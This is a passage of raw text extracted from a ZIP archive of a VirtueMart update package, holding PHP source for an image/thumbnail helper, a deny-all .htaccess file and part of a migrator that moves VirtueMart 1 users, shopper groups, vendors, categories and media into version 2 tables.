PKsl>\}}KKOcom_virtuemart_update/administrator/components/com_virtuemart/helpers/image.phpnuW+Afile_url; $file_name = $this->uploadFile($this->file_url_folder); if($file_name){ if($file_name!=$oldFileUrl && !empty($this->filename)){ $this->deleteFile($oldFileUrl); } $this->file_url = $this->file_url_folder.$file_name; $this->filename = $file_name; $oldFileUrlThumb = $this->file_url_thumb; $this->file_url_thumb = $this->createThumb(); if($this->file_url_thumb!=$oldFileUrlThumb){ $this->deleteFile($oldFileUrlThumb); } } } //creating the thumbnail image else if( $data['media_action'] == 'create_thumb' ){ $this->file_url_thumb = $this->createThumb(); } if(empty($this->file_title) && !empty($file_name)) $this->file_title = $file_name; return $data; } function displayMediaFull($imageArgs='',$lightbox=true,$effect ="class='modal'",$description = true ){ if(!$this->file_is_forSale){ // Remote image URL if( substr( $this->file_url, 0, 4) == "http" ) { $file_url = $this->file_url; $file_alt = $this->file_title; } else { $rel_path = str_replace('/',DS,$this->file_url_folder); $fullSizeFilenamePath = JPATH_ROOT.DS.$rel_path.$this->file_name.'.'.$this->file_extension; if (!file_exists($fullSizeFilenamePath)) { $file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('no_image_found'); $file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_FOUND').' '.$this->file_description; } else { $file_url = $this->file_url; $file_alt = $this->file_meta; } } $postText = false; if($description) $postText = $this->file_description; return $this->displayIt($file_url, $file_alt, $imageArgs,$lightbox,$effect,$postText); } else { //Media which should be sold, show them only as thumb (works as preview) return $this->displayMediaThumb('id="vm_display_image"',false); } } public function createThumbFileUrl(){ $file_name = $this->createThumbName(); if(empty($this->file_name_thumb)) { vmdebug('createThumbFileUrl empty file_name_thumb ',$this); return false; } $file_url_thumb = $this->file_url_folder.'resized/'.$this->file_name_thumb.'.'.$this->file_extension; return $file_url_thumb; } /** * a small function that ensures that we always build the thumbnail name with the same method */ public function createThumbName($width=0,$height=0){ if(empty($this->file_name)) return false; if(empty($width)) $width = VmConfig::get('img_width', 90); if(empty($height)) $height = VmConfig::get('img_height', 90); $this->file_name_thumb = $this->file_name.'_'.$width.'x'.$height; return $this->file_name_thumb; } /** * This function actually creates the thumb * and when it is instanciated with one of the getImage function automatically updates the db * * @author Max Milbers * @param boolean $save Execute update function * @return name of the thumbnail */ public function createThumb($width=0,$height=0) { if(empty($this->file_url_folder)){ vmError('Couldnt create thumb, no directory given. Activate vmdebug to understand which database entry is creating this error'); vmdebug('createThumb, no directory given',$this); return FALSE; } if(empty($this->file_name)){ vmError('Couldnt create thumb, no name given. Activate vmdebug to understand which database entry is creating this error'); vmdebug('createThumb, no name given',$this); return false; } $synchronise = JRequest::getString('synchronise',false); if(!VmConfig::get('img_resize_enable') || $synchronise) return; //now lets create the thumbnail, saving is done in this function if(empty($width)) $width = VmConfig::get('img_width', 90); if(empty($height)) $height = VmConfig::get('img_height', 90); // Don't allow sizes beyond 2000 pixels //I dont think that this is good, should be config // $width = min($width, 2000); // $height = min($height, 2000); $maxsize = false; $bgred = 255; $bggreen = 255; $bgblue = 255; $root = ''; $this->file_name_thumb = $this->createThumbName($width,$height); if($this->file_is_forSale==0){ $rel_path = str_replace('/',DS,$this->file_url_folder); $fullSizeFilenamePath = JPATH_ROOT.DS.$rel_path.$this->file_name.'.'.$this->file_extension; } else { $fullSizeFilenamePath = $this->file_url_folder.$this->file_name.'.'.$this->file_extension; } $file_path_thumb = str_replace('/',DS,$this->file_url_folder_thumb); $resizedFilenamePath = JPATH_ROOT.DS.$file_path_thumb.$this->file_name_thumb.'.'.$this->file_extension; $this->checkPathCreateFolders($file_path_thumb); if (file_exists($fullSizeFilenamePath)) { if (!class_exists('Img2Thumb')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'img2thumb.php'); $createdImage = new Img2Thumb($fullSizeFilenamePath, (int)$width, (int)$height, $resizedFilenamePath, $maxsize, $bgred, $bggreen, $bgblue); if($createdImage){ return $this->file_url_folder_thumb.$this->file_name_thumb.'.'.$this->file_extension; } else { return 0; } } else { vmError('Couldnt create thumb, file not found '.$fullSizeFilenamePath); return 0; } } public function checkPathCreateFolders($path){ $elements = explode(DS,$path); $examine = JPATH_ROOT; foreach($elements as $piece){ $examine = $examine.DS.$piece; if(!JFolder::exists($examine)){ JFolder::create($examine); vmInfo('create folder for resized image '.$examine); } } } /** * Display an image icon for the given image and create a link to the given link. * * @param string $link Link to use in the href tag * @param string $image Name of the image file to display * @param string $text Text to use for the image alt text and to display under the image. */ static public function displayImageButton($link, $imageclass, $text, $mainclass = 'vmicon48', $extra="") { $button = ''; $button .= ''; $button .= '
    ' . $text.'
    '; echo $button; } } PKsl>\)Ocom_virtuemart_update/administrator/components/com_virtuemart/helpers/.htaccessnuW+A Order allow,deny Deny from all PKsl>\Rcom_virtuemart_update/administrator/components/com_virtuemart/helpers/migrator.phpnuW+A_app = JFactory::getApplication(); $this->_db = JFactory::getDBO(); $this->_oldToNew = new stdClass(); $this->starttime = microtime(true); $max_execution_time = VmConfig::getExecutionTime(); $jrmax_execution_time= JRequest::getInt('max_execution_time'); if(!empty($jrmax_execution_time)){ // vmdebug('$jrmax_execution_time',$jrmax_execution_time); if($max_execution_time!=$jrmax_execution_time) @ini_set( 'max_execution_time', $jrmax_execution_time ); } else if($max_execution_time<60) { @ini_set( 'max_execution_time', 60 ); } $this->maxScriptTime = VmConfig::getExecutionTime()*0.80-1; //Lets use 30% of the execution time as reserve to store the progress $jrmemory_limit= JRequest::getInt('memory_limit'); if(!empty($jrmemory_limit)){ @ini_set( 'memory_limit', $jrmemory_limit.'M' ); } else { VmConfig::ensureMemoryLimit(128); } $this->maxMemoryLimit = $this->return_bytes(ini_get('memory_limit')) - (14 * 1024 * 1024) ; //Lets use 11MB for joomla // vmdebug('$this->maxMemoryLimit',$this->maxMemoryLimit); //134217728 //$this->maxMemoryLimit = $this -> return_bytes('20M'); // ini_set('memory_limit','35M'); $q = 'SELECT `id` FROM `#__virtuemart_migration_oldtonew_ids` '; $this->_db->setQuery($q); $res = $this->_db->loadResult(); if(empty($res)){ $q = 'INSERT INTO `#__virtuemart_migration_oldtonew_ids` (`id`) VALUES ("1")'; $this->_db->setQuery($q); $this->_db->query(); $this->_app->enqueueMessage('Start with a new migration process and setup log maxScriptTime '.$this->maxScriptTime.' maxMemoryLimit '.$this->maxMemoryLimit/(1024*1024)); } else { $this->_app->enqueueMessage('Found prior migration process, resume migration maxScriptTime '.$this->maxScriptTime.' maxMemoryLimit '.$this->maxMemoryLimit/(1024*1024)); } $this->_keepOldProductIds = VmConfig::get('keepOldProductIds',FALSE); } private function return_bytes($val) { $val = trim($val); $last = strtolower($val[strlen($val)-1]); switch($last) { // The 'G' modifier is available since PHP 5.1.0 case 'g': $val *= 1024; case 'm': $val *= 1024; case 'k': $val *= 1024; } return $val; } function getMigrationProgress($group){ $q = 'SELECT `'.$group.'` FROM `#__virtuemart_migration_oldtonew_ids` WHERE `id` = "1" '; $this->_db->setQuery($q); $result = $this->_db->loadResult(); if(empty($result)){ $result = array(); } else { // vmdebug('getMigrationProgress '.$group,$result); $uresult = unserialize(trim($result)); if(!$uresult){ vmdebug('getMigrationProgress unserialize failed '.$group,$result); // vmWarn('getMigrationProgress '.$group.' array is created new and therefore empty $q '.$q.' '.print_r($uresult,1).'
    '.print_r($result,1).'
    '); $result = array(); } else { $result = $uresult; } } return $result; } function storeMigrationProgress($group,$array, $limit = ''){ $q = 'UPDATE `#__virtuemart_migration_oldtonew_ids` SET `'.$group.'`="'.serialize($array).'" '.$limit.' WHERE `id` = "1"'; $this->_db->setQuery($q); if(!$this->_db->query()){ $this->_app->enqueueMessage('storeMigrationProgress failed to update query '.$this->_db->getQuery()); $this->_app->enqueueMessage('and ErrrorMsg '.$this->_db->getErrorMsg()); return false; } return true; } function migrateGeneral(){ $result = $this->portMedia(); $result1 = $this->portShoppergroups(); $result2 = $this->portCategories(); $result3 = $this->portManufacturerCategories(); $result4 = $this->portManufacturers(); // $result = $this->portOrderStatus(); if(((int)$result + (int)$result1 + (int)$result2 + (int)$result3 + (int)$result4) ==5){ $result = true; } else { $result = false; } $time = microtime(true) - $this->starttime; vmInfo('Worked on general migration for '.$time.' seconds'); vmRamPeak('Migrate general vm1 info ended '); return $result; } function migrateUsers(){ // $result = $this->portShoppergroups(); $result = $this->portUsers(); $time = microtime(true) - $this->starttime; vmInfo('Worked on user migration for '.$time.' seconds'); vmRamPeak('Migrate shoppers ended '); return $result; } function migrateProducts(){ // $result = $this->portMedia(); // $result = $this->portCategories(); // $result = $this->portManufacturerCategories(); // $result = $this->portManufacturers(); $result = $this->portProducts(); $time = microtime(true) - $this->starttime; $this->_app->enqueueMessage('Worked on general migration for '.$time.' seconds'); return $result; } function migrateOrders(){ // $result = $this->portMedia(); // $result = $this->portCategories(); // $result = $this->portManufacturerCategories(); // $result = $this->portManufacturers(); // $result = $this->portProducts(); // $result = $this->portOrderStatus(); $result = $this->portOrders(); $time = microtime(true) - $this->starttime; vmInfo('Worked on migration for '.$time.' seconds'); return $result; } function migrateAllInOne(){ $result = $this->portMedia(); $result = $this->portShoppergroups(); $result = $this->portUsers(); $result = $this->portVendor(); $result = $this->portCategories(); $result = $this->portManufacturerCategories(); $result = $this->portManufacturers(); $result = $this->portProducts(); //$result = $this->portOrderStatus(); $result = $this->portOrders(); $time = microtime(true) - $this->starttime; $this->_app->enqueueMessage('Worked on migration for '.$time.' seconds'); vmRamPeak('Migrate all ended '); return $result; } public function portMedia(){ $ok = true; JRequest::setVar('synchronise',true); //Prevents search field from interfering with syncronization JRequest::setVar('searchMedia', ''); //$imageExtensions = array('jpg','jpeg','gif','png'); if(!class_exists('VirtueMartModelMedia')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'media.php'); $this->mediaModel = VmModel::getModel('Media'); //First lets read which files are already stored $this->storedMedias = $this->mediaModel->getFiles(false, true); //check for entries without file foreach($this->storedMedias as $media){ if($media->file_is_forSale!=1){ $media_path = JPATH_ROOT.DS.str_replace('/',DS,$media->file_url); } else { $media_path = $media->file_url; } if(!file_exists($media_path)){ vmInfo('File for '.$media_path.' is missing'); //The idea is here to test if the media with missing data is used somewhere and to display it //When it not used, the entry should be deleted then. /* $q = 'SELECT * FROM `#__virtuemart_category_medias` as cm, `#__virtuemart_product_medias` as pm, `#__virtuemart_manufacturer_medias` as mm, `#__virtuemart_vendor_medias` as vm WHERE cm.`virtuemart_media_id` = "'.$media->virtuemart_media_id.'" OR pm.`virtuemart_media_id` = "'.$media->virtuemart_media_id.'" OR mm.`virtuemart_media_id` = "'.$media->virtuemart_media_id.'" OR vm.`virtuemart_media_id` = "'.$media->virtuemart_media_id.'" '; $this->_db->setQuery($q); $res = $this->_db->loadResultArray(); vmdebug('so',$res); if(count($res)>0){ vmInfo('File for '.$media->file_url.' is missing, but used '); } */ } } $countTotal = 0; //We do it per type $url = VmConfig::get('media_product_path'); $type = 'product'; $count = $this->_portMediaByType($url, $type); $countTotal += $count; $this->_app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT', $count, $type, $url)); if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ return $msg = JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH', $countTotal); } $url = VmConfig::get('media_category_path'); $type = 'category'; $count = $this->_portMediaByType($url, $type); $countTotal += $count; $this->_app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT', $count, $type, $url)); if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ return $msg = JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH', $countTotal); } $url = VmConfig::get('media_manufacturer_path'); $type = 'manufacturer'; $count = $this->_portMediaByType($url, $type); $countTotal += $count; $this->_app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT', $count, $type, $url)); if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ return $msg = JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH', $countTotal); } $url = VmConfig::get('media_vendor_path'); $type = 'vendor'; $count = $this->_portMediaByType($url, $type); $countTotal += $count; $this->_app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT', $count, $type, $url)); $url = VmConfig::get('forSale_path'); $type = 'forSale'; $count = $this->_portMediaByType($url, $type); $countTotal += $count; $this->_app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT', $count, $type, $url)); return $msg = JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_FINISH', $countTotal); } private function _portMediaByType($url, $type){ $knownNames = array(); //create array of filenames for easier handling foreach($this->storedMedias as $media){ if($media->file_type == $type){ //Somehow we must use here the right char encoding, so that it works below // in line 320 $knownNames[] = $media->file_url; } } $filesInDir = array(); $foldersInDir = array(); if($type!='forSale'){ $path = str_replace('/', DS, $url); $foldersInDir = array(JPATH_ROOT . DS . $path); } else { $foldersInDir = array($url); } if (!is_dir($foldersInDir[0])) { vmError($type.' Path/Url is not set correct :'.$foldersInDir[0]); return 0; } while(!empty($foldersInDir)){ foreach($foldersInDir as $dir){ $subfoldersInDir = null; $subfoldersInDir = array(); if($type!='forSale'){ $relUrl = str_replace(DS, '/', substr($dir, strlen(JPATH_ROOT . DS))); } else { // vmdebug('$dir',$dir); $relUrl = $dir; } if($handle = opendir($dir)){ while(false !== ($file = readdir($handle))){ //$file != "." && $file != ".." replaced by strpos if(!empty($file) && strpos($file,'.')!==0 && $file != 'index.html'){ $filetype = filetype($dir . DS . $file); $relUrlName = ''; $relUrlName = $relUrl.$file; // vmdebug('my relative url ',$relUrlName); //We port all type of media, regardless the extension if($filetype == 'file'){ if(!in_array($relUrlName, $knownNames)){ $filesInDir[] = array('filename' => $file, 'url' => $relUrl); } }else { if($filetype == 'dir' && $file != 'resized' && $file != 'invoices'){ $subfoldersInDir[] = $dir.$file.DS; // vmdebug('my sub folder ',$dir.$file); } } } if((microtime(true)-$this->starttime) >= ($this->maxScriptTime*0.4)){ break; } } } $foldersInDir = $subfoldersInDir; if((microtime(true)-$this->starttime) >= ($this->maxScriptTime*0.4)){ break; } } if((microtime(true)-$this->starttime) >= ($this->maxScriptTime*0.4)){ break; } } $i = 0; foreach($filesInDir as $file){ $data = null; $data = array('file_title' => $file['filename'], 'virtuemart_vendor_id' => 1, 'file_description' => $file['filename'], 'file_meta' => $file['filename'], 'file_url' => $file['url'] . $file['filename'], 'media_published' => 1 ); if($type == 'product') $data['file_is_product_image'] = 1; if($type == 'forSale') $data['file_is_forSale'] = 1; $this->mediaModel->setId(0); $success = $this->mediaModel->store($data, $type); $errors = $this->mediaModel->getErrors(); foreach($errors as $error){ $this->_app->enqueueMessage('Migrator ' . $error); } $this->mediaModel->resetErrors(); if($success) $i++; if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ vmError('Attention script time too short, no time left to store the media, please rise script execution time'); break; } } return $i; } private function portShoppergroups(){ if($this->_stop || (microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ return; } $query = 'SHOW TABLES LIKE "%vm_shopper_group%"'; $this->_db->setQuery($query); if(!$this->_db->loadResult()){ vmInfo('No Shoppergroup table found for migration'); $this->_stop = true; return false; } $ok = true; $q = 'SELECT * FROM #__vm_shopper_group'; $this->_db->setQuery($q); $oldShopperGroups = $this->_db->loadAssocList(); if(empty($oldShopperGroups)) $oldShopperGroups = array(); $oldtoNewShoppergroups = array(); $alreadyKnownIds = $this->getMigrationProgress('shoppergroups'); $starttime = microtime(true); $i = 0; foreach($oldShopperGroups as $oldgroup){ if(!array_key_exists($oldgroup['shopper_group_id'],$alreadyKnownIds)){ $sGroups = null; $sGroups = array(); //$category['virtuemart_category_id'] = $oldcategory['category_id']; $sGroups['virtuemart_vendor_id'] = $oldgroup['vendor_id']; $sGroups['shopper_group_name'] = $oldgroup['shopper_group_name']; $sGroups['shopper_group_desc'] = $oldgroup['shopper_group_desc']; $sGroups['published'] = 1; $sGroups['default'] = $oldgroup['default']; $table = $this->getTable('shoppergroups'); $table->bindChecknStore($sGroups); $errors = $table->getErrors(); if(!empty($errors)){ foreach($errors as $error){ vmError('Migrator portShoppergroups '.$error); } break; } // $oldtoNewShoppergroups[$oldgroup['shopper_group_id']] = $sGroups['virtuemart_shoppergroup_id']; $alreadyKnownIds[$oldgroup['shopper_group_id']] = $sGroups['virtuemart_shoppergroup_id']; unset($sGroups['virtuemart_shoppergroup_id']); $i++; } // else { // $oldtoNewShoppergroups[$oldgroup['shopper_group_id']] = $alreadyKnownIds[$oldgroup['shopper_group_id']]; // } if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ break; } } $time = microtime(true) - $starttime; $this->_app->enqueueMessage('Processed '.$i.' vm1 shoppergroups time: '.$time); $this->storeMigrationProgress('shoppergroups',$alreadyKnownIds); } private function portUsers(){ if($this->_stop || (microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ return; } $query = 'SHOW TABLES LIKE "%vm_user_info%"'; $this->_db->setQuery($query); if(!$this->_db->loadResult()){ vmInfo('No vm_user_info table found for migration'); $this->_stop = true; return false; } //declaration _vm_userfield >> _virtuemart_userfields` // vendor_id >> virtuemart_vendor_id $this->_db->setQuery('select `name` FROM `#__virtuemart_userfields`'); $vm2Fields = $this->_db->loadResultArray (); $this->_db->setQuery('select * FROM `#__vm_userfield`'); $oldfields = $this->_db->loadObjectList(); $migratedfields =''; $userfields = $this->getTable('userfields'); $userinfo = $this->getTable('userinfos'); $orderinfo = $this->getTable('order_userinfos'); foreach ($oldfields as $field ) { if ($field->name =='country' or $field->name =='state') continue; if (!isset($field->shipment)) $field->shipment = 0 ; if ( !in_array( $field->name, $vm2Fields ) ) { $q = 'INSERT INTO `#__virtuemart_userfields` ( `name`, `title`, `description`, `type`, `maxlength`, `size`, `required`, `ordering`, `cols`, `rows`, `value`, `default`, `published`, `registration`, `shipment`, `account`, `readonly`, `calculated`, `sys`, `virtuemart_vendor_id`, `params`) VALUES ( "'.$field->name.'"," '.$field->title .'"," '.$field->description .'"," '.$field->type .'"," '.$field->maxlength .'"," '.$field->size .'"," '.$field->required .'"," '.$field->ordering .'"," '.$field->cols .'"," '.$field->rows .'"," '.$field->value .'"," '.$field->default .'"," '.$field->published .'"," '.$field->registration .'"," '.$field->shipment .'"," '.$field->account .'"," '.$field->readonly .'"," '.$field->calculated .'"," '.$field->sys .'"," '.$field->vendor_id .'"," '.$field->params .'" )'; $this->_db->setQuery($q); $this->_db->query(); if ($this->_db->getErrorNum()) { vmError ($this->_db->getErrorMsg() ); } $userfields->type = $field->type; $type = $userfields->formatFieldType($field); if (!$userinfo->_modifyColumn ('ADD', $field->name, $type)) { vmError($userinfo->getError()); return false; } // Alter the order_userinfo table if (!$orderinfo->_modifyColumn ('ADD',$field->name, $type)) { vmError($orderinfo->getError()); return false; } $migratedfields .= '['.$field->name.'] '; } } if ($migratedfields) vminfo('Userfield declaration '.$migratedfields.' Migrated'); $oldToNewShoppergroups = $this->getMigrationProgress('shoppergroups'); if(empty($oldToNewShoppergroups)){ vmInfo('portUsers getMigrationProgress shoppergroups ' . $this->_db->getErrorMsg()); return false; } if(!class_exists('VirtueMartModelUser')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'user.php'); $userModel = VmModel::getModel('user'); $ok = true; $continue = true; //approximatly 110 users take a 1 MB $maxItems = $this->_getMaxItems('Users'); // $maxItems = 10; $i=0; $startLimit = 0; $goForST = true; if ( JVM_VERSION===1 ) { $jUserArray = array('id','username','name','password','usertype','block','sendEmail','registerDate', 'lastvisitDate','activation','params' ); } else { $jUserArray = array('id','username','name','password','usertype','block','sendEmail','registerDate', 'lastvisitDate','activation','params','lastResetTime','resetCount'); } $JUserString = '`p`.`'.implode('`,`p`.`',$jUserArray).'`'; //$continue=false; $q = 'SELECT * FROM `#__vm_auth_group` '; $this->_db->setQuery($q); $groups = $this->_db->loadAssocList(); while($continue){ //Lets load all users from the joomla hmm or vm? VM1 users does NOT exist $q = 'SELECT `ui`.*,`svx`.*,'.$JUserString.',`vmu`.virtuemart_user_id FROM #__vm_user_info AS `ui` LEFT OUTER JOIN #__vm_shopper_vendor_xref AS `svx` ON `svx`.user_id = `ui`.user_id LEFT OUTER JOIN #__users AS `p` ON `p`.id = `ui`.user_id LEFT OUTER JOIN #__virtuemart_vmusers AS `vmu` ON `vmu`.virtuemart_user_id = `ui`.user_id WHERE (`vmu`.virtuemart_user_id) IS NULL LIMIT '.$startLimit.','.$maxItems ; $res = self::loadCountListContinue($q,$startLimit,$maxItems,'port shoppers'); $oldUsers = $res[0]; $startLimit = $res[1]; $continue = $res[2]; $starttime = microtime(true); foreach($oldUsers as $user){ $user['virtuemart_country_id'] = $this->getCountryIDByName($user['country']); $user['virtuemart_state_id'] = $this->getStateIDByName($user['state']); if(!empty($user['shopper_group_id'])){ $user['virtuemart_shoppergroups_id'] = $oldToNewShoppergroups[$user['shopper_group_id']]; } if(!empty($user['user_id'])){ $user['virtuemart_user_id'] = $user['user_id']; } if(!empty($user['user_email'])){ $user['email'] = $user['user_email']; } //$userModel->setUserId($user['id']); $userModel->setId($user['user_id']); //Should work with setId, because only administrators are allowed todo the migration //Joomla user does exist //if(!empty($user['email'])){ //Save the VM user stuff if(!$saveUserData=$userModel->saveUserData($user,false)){ vmdebug('Error migration saveUserData '); // vmError(JText::_('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA')); } $userfielddata = $userModel->_prepareUserFields($user, 'BT'); $userinfo = $this->getTable('userinfos'); if (!$userinfo->bindChecknStore($userfielddata)) { vmError('Migration storeAddress BT '.$userinfo->getError()); } if(!empty($user['user_is_vendor']) && $user['user_is_vendor'] === 1){ if (!$userModel->storeVendorData($user)){ vmError('Migrator portUsers '.$userModel->getError()); } } /*} else //There is no joomla user, but there is a user if(!empty($user['user_email'])){ //vmdebug('joomla user is missing, what todo?',$user['user_id']); }*/ $i++; $errors = $userModel->getErrors(); if(!empty($errors)){ foreach($errors as $error){ vmError('Migrator portUsers '.$error); } $userModel->resetErrors(); $continue = false; //break; } if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ $goForST = false; break; } } } $time = microtime(true) - $starttime; vmInfo('Processed '.$i.' vm1 users time: '.$time); //adresses $starttime = microtime(true); $continue = $goForST; $startLimit = 0; $i = 0; while($continue){ $q = 'SELECT `ui`.* FROM #__vm_user_info as `ui` LEFT OUTER JOIN #__virtuemart_userinfos as `vui` ON `vui`.`virtuemart_user_id` = `ui`.`user_id` WHERE `ui`.`address_type` = "ST" AND (`vui`.`virtuemart_user_id`) IS NULL LIMIT '.$startLimit.','.$maxItems; $res = self::loadCountListContinue($q,$startLimit,$maxItems,'port ST addresses'); $oldUsersAddresses = $res[0]; $startLimit = $res[1]; $continue = $res[2]; if(empty($oldUsersAddresses)) return $ok; //$alreadyKnownIds = $this->getMigrationProgress('staddress'); $oldtonewST = array(); foreach($oldUsersAddresses as $oldUsersAddi){ // if(!array_key_exists($oldcategory['virtuemart_userinfo_id'],$alreadyKnownIds)){ $oldUsersAddi['virtuemart_user_id'] = $oldUsersAddi['user_id']; $oldUsersAddi['virtuemart_country_id'] = $this->getCountryIDByName($oldUsersAddi['country']); $oldUsersAddi['virtuemart_state_id'] = $this->getStateIDByName($oldUsersAddi['state']); $userfielddata = $userModel->_prepareUserFields($oldUsersAddi, 'ST'); $userinfo = $this->getTable('userinfos'); if (!$userinfo->bindChecknStore($userfielddata)) { vmError('Migration storeAddress ST '.$userinfo->getError()); } $i++; if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ $continue = false; break; } } } $time = microtime(true) - $starttime; vmInfo('Processed '.$i.' vm1 users ST adresses time: '.$time); return $ok; } private function portVendor(){ if($this->_stop || (microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ return; } $query = 'SHOW TABLES LIKE "%_vm_vendor"'; $this->_db->setQuery($query); if(!$this->_db->loadResult()){ vmInfo('No vm_vendor table found for migration'); $this->_stop = true; return false; } $this->_db->setQuery( 'SELECT *, vendor_id as virtuemart_vendor_id FROM `#__vm_vendor`' ); $vendor = $this->_db->loadAssoc() ; $currency_code_3 = explode( ',', $vendor['vendor_accepted_currencies'] );//EUR,USD $this->_db->setQuery( 'SELECT virtuemart_currency_id FROM `#__virtuemart_currencies` WHERE `currency_code_3` IN ( "'.implode('","',$currency_code_3).'" ) ' ); $vendor['vendor_accepted_currencies'] = implode(",",$this->_db->loadResultArray()); $this->_db->setQuery( 'SELECT virtuemart_currency_id FROM `#__virtuemart_currencies` WHERE `currency_code_3` = "'. $vendor['vendor_currency'].'" ' ); $vendor['vendor_currency']= $this->_db->loadResult(); $vendorModel = VmModel::getModel('vendor'); $vendorId = $vendorModel->store($vendor); vmInfo('vendor '.$vendorId.' Stored'); return true; } private function portCategories(){ $query = 'SHOW TABLES LIKE "%vm_category%"'; $this->_db->setQuery($query); if(!$this->_db->loadResult()){ vmInfo('No vm_category table found for migration'); $this->_stop = true; return false; } $catModel = VmModel::getModel('Category'); $default_category_browse = JRequest::getString('migration_default_category_browse',''); // vmdebug('migration_default_category_browse '.$default_category_browse); $default_category_fly = JRequest::getString('migration_default_category_fly',''); $portFlypages = JRequest::getInt('portFlypages',0); if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ return; } $ok = true; $q = 'SELECT * FROM #__vm_category'; $this->_db->setQuery($q); $oldCategories = $this->_db->loadAssocList(); $alreadyKnownIds = $this->getMigrationProgress('cats'); // $oldtonewCats = array(); $category = array(); $i = 0; foreach($oldCategories as $oldcategory){ if(!array_key_exists($oldcategory['category_id'],$alreadyKnownIds)){ $category = array(); //$category['virtuemart_category_id'] = $oldcategory['category_id']; $category['virtuemart_vendor_id'] = $oldcategory['vendor_id']; $category['category_name'] = stripslashes($oldcategory['category_name']); $category['category_description'] = $oldcategory['category_description']; $category['published'] = $oldcategory['category_publish'] == 'Y' ? 1 : 0; // $category['created_on'] = $oldcategory['cdate']; // $category['modified_on'] = $oldcategory['mdate']; $category['created_on'] = $this->_changeToStamp($oldcategory['cdate']); $category['modified_on'] = $this->_changeToStamp($oldcategory['mdate']); if($default_category_browse!=$oldcategory['category_browsepage']){ $browsepage = $oldcategory['category_browsepage']; if (strcmp($browsepage, 'managed') ==0 ) { $browsepage="browse_".$oldcategory['products_per_row']; } $category['category_layout'] = $browsepage; } if($portFlypages && $default_category_fly!=$oldcategory['category_flypage']){ $category['category_product_layout'] = $oldcategory['category_flypage']; } //idea was to do it by the layout, but we store this information additionally for enhanced pagination $category['products_per_row'] = $oldcategory['products_per_row']; $category['ordering'] = $oldcategory['list_order']; if(!empty($oldcategory['category_full_image'])){ $category['virtuemart_media_id'] = $this->_getMediaIdByName($oldcategory['category_full_image'],'category'); } $catModel->setId(0); $category_id = $catModel->store($category); $errors = $catModel->getErrors(); if(!empty($errors)){ foreach($errors as $error){ vmError('Migrator portCategories '.$error); $ok = false; } break; } $alreadyKnownIds[$oldcategory['category_id']] = $category_id; unset($category['virtuemart_category_id']); $i++; } if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ break; } } // here all categories NEW/OLD are Know $this->storeMigrationProgress('cats',$alreadyKnownIds); if($ok) $msg = 'Looks everything worked correct, migrated ' . $i . ' categories '; else { $msg = 'Seems there was an error porting ' . $i . ' categories '; foreach($this->getErrors() as $error){ $msg .= '
    ' . $error; } } $this->_app->enqueueMessage($msg); $q = 'SELECT * FROM #__vm_category_xref '; $this->_db->setQuery($q); $oldCategoriesX = $this->_db->loadAssocList(); // $alreadyKnownIds = $this->getMigrationProgress('catsxref'); $new_id = 0; $i = 0; $j = 0; $ok = true ; if(!empty($oldCategoriesX)){ // vmdebug('$oldCategoriesX',$oldCategoriesX); foreach($oldCategoriesX as $oldcategoryX){ $category = array(); if(!empty($oldcategoryX['category_parent_id'])){ if(array_key_exists($oldcategoryX['category_parent_id'],$alreadyKnownIds)){ $category['category_parent_id'] = $alreadyKnownIds[$oldcategoryX['category_parent_id']]; } else { vmError('Port Categories Xref unknow : ID '.$oldcategoryX['category_parent_id']); $ok = false ; $j++; continue ; } } if(array_key_exists($oldcategoryX['category_child_id'],$alreadyKnownIds)){ $category['category_child_id'] = $alreadyKnownIds[$oldcategoryX['category_child_id']]; } else { vmError('Port Categories Xref unknow : ID '.$oldcategoryX['category_child_id']); $ok = false ; $j++; continue ; } if ($ok == true) { $table = $this->getTable('category_categories'); $table->bindChecknStore($category); $errors = $table->getErrors(); if(!empty($errors)){ foreach($errors as $error){ vmError('Migrator portCategories ref '.$error); $ok = false; } break; } $i++; } if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ break; } } //$this->storeMigrationProgress('catsxref',$oldtonewCatsXref); if($ok) $msg = 'Looks everything worked correct, migrated ' . $i . ' categories xref '; else { $msg = 'Seems there was an error porting ' . $j . ' of '. $i.' categories xref '; foreach($this->getErrors() as $error){ $msg .= '
